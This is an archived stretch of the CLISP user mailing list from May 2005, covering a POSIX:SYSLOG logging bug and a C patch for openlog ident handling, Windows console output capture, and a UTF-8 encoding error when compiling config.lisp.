Sam Steingold (http://www.podval.org/~sds) running w2k The difference between theory and practice is that in theory there isn't any. From sds@gnu.org Fri May 06 07:18:22 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DU3el-0005Jm-BF for clisp-list@lists.sourceforge.net; Fri, 06 May 2005 07:18:19 -0700 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DU3ek-0003I9-Pk for clisp-list@lists.sourceforge.net; Fri, 06 May 2005 07:18:19 -0700 Received: from 65-78-20-170.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) (65.78.20.170) by smtp04.mrf.mail.rcn.net with ESMTP; 06 May 2005 10:18:13 -0400 To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050506084241.7620210FBF3@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Fri, 6 May 2005 10:42:41 +0200 (CEST)") References: <20050506084241.7620210FBF3@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_TILDE BODY: Text interparsed with ~ 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_POWER BODY: Text interparsed with ^ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: POSIX:SYSLOG logs garbage. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 6 07:19:05 2005 X-Original-Date: Fri, 06 May 2005 10:17:36 -0400 > * Pascal J.Bourguignon [2005-05-06 10:42:41 +0200= ]: > > I'm trying to use POSIX:SYSLOG as: > > (posix:syslog 3 176 "%s" (format nil "[~A] ~A" "Hello" "World")) use this instead: (posix:syslog 3 176 "[~A] ~A" "Hello" "World") > Here is what I get in /var/log/messages: > > May 6 10:36:45 thalassa ^VL^\^H0^E[16830]: =C3=88=C3=9B=C3=BF=C2=BF\203 = ^G^H~g* ^VL^\^H > > (I expected: > May 6 10:36:45 thalassa TEST[16830]: [Hello] World > ) please run under GDB and see what you are passing to syslog by stepping through C_subr_syscalls_syslog(). alternatively, ltrace or strace should also help. --=20 Sam Steingold (http://www.podval.org/~sds) running w2k I haven't lost my mind -- it's backed up on tape somewhere. From yp99z8b02@sneakemail.com Fri May 06 12:40:00 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DU8g4-0007ew-Ea for clisp-list@lists.sourceforge.net; Fri, 06 May 2005 12:40:00 -0700 Received: from sneakemail.com ([38.113.6.61] helo=monkey.sneakemail.com) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.41) id 1DU8g2-0008Vi-UG for clisp-list@lists.sourceforge.net; Fri, 06 May 2005 12:40:00 -0700 Received: (qmail 16803 invoked by uid 501); 6 May 2005 19:39:54 -0000 To: clisp-list@lists.sourceforge.net Encoding: 8bit From: "John Sampson" Message-ID: <10945-10516@sneakemail.com> X-Spam-Score: 1.9 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 FROM_HAS_MIXED_NUMS From: contains numbers mixed in with letters 0.5 FROM_ENDS_IN_NUMS From: ends in numbers 1.1 FROM_HAS_MIXED_NUMS3 From: contains numbers mixed in with letters Subject: [clisp-list] Windows XP console output Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 6 12:42:02 2005 X-Original-Date: 6 May 2005 19:39:54 -0000 I can't even view it that way if there is enough to scroll, let alone capture it. > * John Sampson [2005-05-06 11:13:12 +0100]: > > I am hampered by not being able to capture scrolling 'DOS' console > output in Windows XP. Is there a way of doing this? start -> settings -> control panel -> console -------------------------------------- Protect yourself from spam, use http://sneakemail.com From al053052@alumail.uji.es Fri May 06 20:59:07 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DUGSy-0001Ep-MM for clisp-list@lists.sourceforge.net; Fri, 06 May 2005 20:59:00 -0700 Received: from marti.uji.es ([150.128.98.10]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DUGSw-0005Lr-Sf for clisp-list@lists.sourceforge.net; Fri, 06 May 2005 20:59:00 -0700 Received: from localhost (sofora01 [127.0.0.1]) by localhost (Postfix) with ESMTP id 0B17E9428E for ; Sat, 7 May 2005 05:58:50 +0200 (CEST) Received: from marti.uji.es ([127.0.0.1]) by localhost (sofora01 [127.0.0.1]) (amavisd-new, port 2027) with ESMTP id 09459-02 for ; Sat, 7 May 2005 05:58:45 +0200 (CEST) Received: from core.uji.es (core.uji.es [150.128.98.26]) by marti.uji.es (Postfix) with ESMTP id ABD91942C4 for ; Sat, 7 May 2005 05:58:45 +0200 (CEST) Received: from localhost (localhost.localdomain [127.0.0.1]) by core.uji.es (8.11.6/8.11.6) with ESMTP id j473wjR12863 for ; Sat, 7 May 2005 05:58:45 +0200 Received: from 81-203-3-127.user.ono.com (81-203-3-127.user.ono.com [81.203.3.127]) by webmail.uji.es (IMP) with HTTP for ; Sat, 7 May 2005 05:58:45 +0200 Message-ID: <1115438325.427c3cf5765ed@webmail.uji.es> From: Alberto Jose Rubert Escuder To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 User-Agent: Internet Messaging Program (IMP) 3.2.2 X-Originating-IP: 81.203.3.127 X-Virus-Scanned: by amavisd-new at uji.es Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers Subject: [clisp-list] =?iso-8859-1?b?Q29tcGlsYWNp824=?= de CLISP para Win32 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 6 21:00:05 2005 X-Original-Date: Sat, 7 May 2005 05:58:45 +0200 A Sam Steingold, en el Readme.es que viene en el *.zip, tras realizar: "teclee (without-package-lock () (compile-file "src/config.lisp") (load "src/config.fas"))" me da el siguiente error: "Compiling file H:\clisp-2.33\full\src\config.lisp ... *** - invalid byte sequence #xF3 #x6E #x2E #x22 in CHARSET:UTF-8 conversi= on Break 1 EXT[6]>_" La carpeta "src" la he metido dentro de "full" para poder realizar:=20 "Cambie las cadenas en SRC/CONFIG.LISP, empleando para ello un editor de textos. Luego ejecute lisp.exe -M lispinit.mem" (paso anterior al que me da error) Lo he intentado compilar en un Intel Pentium 3 800Mhz con WIndows XP SP2. =BFEs la compilaci=F3n necesaria o basta con el "install.bat" que viene e= n el *.zip? Atentamente, Alberto Jos=E9 Rubert Escuder Gracias. From doukas@gegentakt.com Fri May 06 21:06:18 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DUGa1-00024u-NM for clisp-list@lists.sourceforge.net; Fri, 06 May 2005 21:06:17 -0700 Received: from mail5.netbeat.de ([193.254.185.34]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.41) id 1DUGa0-0006FY-06 for clisp-list@lists.sourceforge.net; Fri, 06 May 2005 21:06:17 -0700 Received: (qmail 2557 invoked from network); 7 May 2005 04:06:10 -0000 Received: from xdsl-81-173-147-37.netcologne.de (HELO ?10.0.0.2?) (81.173.147.37) by mail5.netbeat.de with SMTP; 7 May 2005 04:06:10 -0000 Message-ID: <427C3EAE.90408@gegentakt.com> From: Theo Doukas User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Alberto Jose Rubert Escuder CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] =?ISO-8859-1?Q?Compilaci=F3n_de_CLISP_par?= =?ISO-8859-1?Q?a_Win32?= References: <1115438325.427c3cf5765ed@webmail.uji.es> In-Reply-To: <1115438325.427c3cf5765ed@webmail.uji.es> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 6 21:07:19 2005 X-Original-Date: Sat, 07 May 2005 06:06:06 +0200 Non hablar espanol, but perhaps look at http://clisp.cons.org/faq.html#enc-err it looks like this addresses exactly the error you're reporting. Cheers Alberto Jose Rubert Escuder wrote: > A Sam Steingold, > > > en el Readme.es que viene en el *.zip, tras realizar: > > "teclee > > (without-package-lock () > (compile-file "src/config.lisp") > (load "src/config.fas"))" > > me da el siguiente error: > > "Compiling file H:\clisp-2.33\full\src\config.lisp ... > *** - invalid byte sequence #xF3 #x6E #x2E #x22 in CHARSET:UTF-8 conversion > Break 1 EXT[6]>_" > > La carpeta "src" la he metido dentro de "full" para poder realizar: > "Cambie las cadenas en SRC/CONFIG.LISP, empleando para ello un editor de > textos. > Luego ejecute > > lisp.exe -M lispinit.mem" > (paso anterior al que me da error) > > Lo he intentado compilar en un Intel Pentium 3 800Mhz con WIndows XP SP2. > > ¿Es la compilación necesaria o basta con el "install.bat" que viene en el > *.zip? > > Atentamente, > > Alberto José Rubert Escuder > > Gracias. > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: NEC IT Guy Games. > Get your fingers limbered up and give it your best shot. 4 great events, 4 > opportunities to win big! Highest score wins.NEC IT Guy Games. Play to > win an NEC 61 plasma display. Visit http://www.necitguy.com/?r > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > > From pjb@informatimago.com Fri May 06 21:14:27 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DUGhv-0002q9-NE for clisp-list@lists.sourceforge.net; Fri, 06 May 2005 21:14:27 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DUGhr-0007D7-Pg for clisp-list@lists.sourceforge.net; Fri, 06 May 2005 21:14:27 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id B79755833D; Sat, 7 May 2005 06:14:18 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 35AED582FA; Sat, 7 May 2005 06:14:12 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id A684010FBF3; Sat, 7 May 2005 06:14:11 +0200 (CEST) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Message-ID: <17020.16531.604230.110914@thalassa.informatimago.com> To: Alberto Jose Rubert Escuder Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] =?iso-8859-1?b?Q29tcGlsYWNp824=?= de CLISP para Win32 In-Reply-To: <1115438325.427c3cf5765ed@webmail.uji.es> References: <1115438325.427c3cf5765ed@webmail.uji.es> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-103.2 required=5.0 tests=AWL,BAYES_00, USER_IN_WHITELIST autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 6 21:14:50 2005 X-Original-Date: Sat, 7 May 2005 06:14:11 +0200 Alberto Jose Rubert Escuder writes: >=20 > A Sam Steingold, >=20 >=20 > en el Readme.es que viene en el *.zip, tras realizar: >=20 > "teclee >=20 > (without-package-lock () > (compile-file "src/config.lisp") > (load "src/config.fas"))" >=20 > me da el siguiente error: >=20 > "Compiling file H:\clisp-2.33\full\src\config.lisp ... > *** - invalid byte sequence #xF3 #x6E #x2E #x22 in CHARSET:UTF-8 conv= ersion > Break 1 EXT[6]>=5F" $ echo F36E2E22|hextobin =F3n." Tu archivo config.lisp no est=E1 en UTF-8 pero en ISO-8859-1. Puedes hacer dos cosas, bien: convertir config.lisp a UTF-8, por ejemplo con: iconv -f iso-8859-1 -t utf-8 config.lisp (y quizas a=F1anendo una primiera l=EDnea: ;; -*- mode: lisp; coding: utf-8 -*-=20 para emacs), o bien decir a clisp el encoding de tu archivo, por ejemplo con: (let ((custom:*DEFAULT-FILE-ENCODING* (ext:make-encoding :charset charset:iso-8859-1 :line-terminator :dos))) (without-package-lock () (compile-file "src/config.lisp") (load "src/config.fas"))) > [...] Por el resto, no s=E9. --=20 =5F=5FPascal=5FBourguignon=5F=5F =5F Software patents ar= e endangering () ASCII ribbon against html email (o=5F the computer industry all aro= und /\ 1962:DO20I=3D1.100 //\ the world http://lpf.ai.mit.e= du/ 2001:my($f)=3D`fortune`; V=5F/ http://petition.eurolinux= .org/ From pjb@informatimago.com Fri May 06 22:45:06 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DUI7e-0001b5-Ie for clisp-list@lists.sourceforge.net; Fri, 06 May 2005 22:45:06 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DUI7c-0001GX-LY for clisp-list@lists.sourceforge.net; Fri, 06 May 2005 22:45:06 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 218AF5833D; Sat, 7 May 2005 07:44:59 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id E65A3582FA; Sat, 7 May 2005 07:44:56 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 789D010FBF3; Sat, 7 May 2005 07:44:56 +0200 (CEST) To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Reply-To: Message-Id: <20050507054456.789D010FBF3@thalassa.informatimago.com> X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-103.2 required=5.0 tests=AWL,BAYES_00, UPPERCASE_25_50,USER_IN_WHITELIST autolearn=no version=3.0.1 X-Spam-Level: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Patch for POSIX:OPENLOG Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 6 22:45:57 2005 X-Original-Date: Sat, 7 May 2005 07:44:56 +0200 (CEST) I'm not sure this follows clisp rules, but it allows POSIX:OPENLOG + POSIX:SYSLOG to log the correct ident. $ cvs diff -Nau cvs diff: Diffing . Index: calls.c =================================================================== RCS file: /cvsroot/clisp/clisp/modules/syscalls/calls.c,v retrieving revision 1.113 diff -a -u -r1.113 calls.c --- calls.c 21 Apr 2005 17:00:59 -0000 1.113 +++ calls.c 7 May 2005 05:44:28 -0000 @@ -193,12 +193,16 @@ LOCAL0 LOCAL1 LOCAL2 LOCAL3 LOCAL4 LOCAL5 LOCAL6 LOCAL7) DEFFLAGSET(syslog_opt_flags,LOG_PID LOG_CONS LOG_NDELAY LOG_ODELAY LOG_NOWAIT) #if defined(HAVE_OPENLOG) +static char* log_ident=0; DEFUN(POSIX:OPENLOG,ident &key :PID :CONS :NDELAY :ODELAY :NOWAIT :FACILITY) { int facility = check_syslog_facility(popSTACK()); int logopt = syslog_opt_flags(); with_string_0(check_string(popSTACK()),GLO(misc_encoding),ident, { begin_system_call(); - openlog(ident,logopt,facility); + if(log_ident!=0){ free(log_ident); log_ident=0; } + log_ident=(char*)malloc(strlen(ident)+1); + if(log_ident!=0){ strcpy(log_ident,ident); } + openlog(log_ident,logopt,facility); end_system_call(); }); VALUES0; @@ -227,7 +231,12 @@ } #if defined(HAVE_CLOSELOG) DEFUN(POSIX:CLOSELOG,) { - begin_system_call(); closelog(); end_system_call(); + begin_system_call(); + closelog(); +#if defined(HAVE_OPENLOG) + if(log_ident!=0){ free(log_ident); log_ident=0; } +#endif + end_system_call(); VALUES0; } #endif -- __Pascal Bourguignon__ http://www.informatimago.com/ Nobody can fix the economy. Nobody can be trusted with their finger on the button. Nobody's perfect. VOTE FOR NOBODY. From sds@gnu.org Mon May 09 06:56:18 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DV8k5-0003b7-QX for clisp-list@lists.sourceforge.net; Mon, 09 May 2005 06:56:17 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DV8k1-0006ZV-5l for clisp-list@lists.sourceforge.net; Mon, 09 May 2005 06:56:17 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.158]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j49DtZoU000453; Mon, 9 May 2005 09:55:43 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050507054456.789D010FBF3@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Sat, 7 May 2005 07:44:56 +0200 (CEST)") References: <20050507054456.789D010FBF3@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Patch for POSIX:OPENLOG Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 9 07:09:10 2005 X-Original-Date: Mon, 09 May 2005 09:55:19 -0400 > * Pascal J.Bourguignon [2005-05-07 07:44:56 +0200]: > > I'm not sure this follows clisp rules, but it allows POSIX:OPENLOG + > POSIX:SYSLOG to log the correct ident. thanks for figuring this out. The openlog() and syslog() functions may allocate a file descriptor. It is not necessary to call openlog() prior to calling syslog(). The closelog() function shall close any open file descriptors allocated by previous calls to openlog() or syslog(). are you sure that calling SYSLOG after CLOSELOG releases the indent will cause no problems? -- Sam Steingold (http://www.podval.org/~sds) running w2k main(a){a="main(a){a=%c%s%c;printf(a,34,a,34);}";printf(a,34,a,34);} From pjb@informatimago.com Mon May 09 07:57:08 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DV9gy-0000Vq-BC for clisp-list@lists.sourceforge.net; Mon, 09 May 2005 07:57:08 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DV9gu-0001Gp-2O for clisp-list@lists.sourceforge.net; Mon, 09 May 2005 07:57:08 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id B729E585D3; Mon, 9 May 2005 16:56:53 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 61865585C8; Mon, 9 May 2005 16:56:52 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 21BD310FBF3; Mon, 9 May 2005 16:56:52 +0200 (CEST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17023.31283.997262.816653@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net In-Reply-To: References: <20050507054456.789D010FBF3@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-103.1 required=5.0 tests=AWL,BAYES_00, USER_IN_WHITELIST autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Patch for POSIX:OPENLOG Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 9 08:16:46 2005 X-Original-Date: Mon, 9 May 2005 16:56:51 +0200 Sam Steingold writes: > > * Pascal J.Bourguignon [2005-05-07 07:44:56 +0200]: > > > > I'm not sure this follows clisp rules, but it allows POSIX:OPENLOG + > > POSIX:SYSLOG to log the correct ident. > > thanks for figuring this out. > > > The openlog() and syslog() functions may allocate a file > descriptor. It is not necessary to call openlog() prior to > calling syslog(). > > The closelog() function shall close any open file descriptors > allocated by previous calls to openlog() or syslog(). > > are you sure that calling SYSLOG after CLOSELOG releases the indent will > cause no problems? No, but I'd say that'd be a bug in libc then. If you want to guard against this possible bug, then indeed it might be worthwhile not to release it in CLOSELOG. When syslog(3) is used without openlog(3), the ident used is "typically" the program name (lisp.run). I assume closelog reverts to this state. This is the behavior of glibc-2.3.2. -- __Pascal Bourguignon__ http://www.informatimago.com/ In a World without Walls and Fences, who needs Windows and Gates? From pjb@informatimago.com Mon May 09 09:44:44 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DVBN6-0001gS-3i for clisp-list@lists.sourceforge.net; Mon, 09 May 2005 09:44:44 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DVBN3-0004r6-5g for clisp-list@lists.sourceforge.net; Mon, 09 May 2005 09:44:44 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id DB7DA585E6; Mon, 9 May 2005 18:44:13 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id BFC4D585D4; Mon, 9 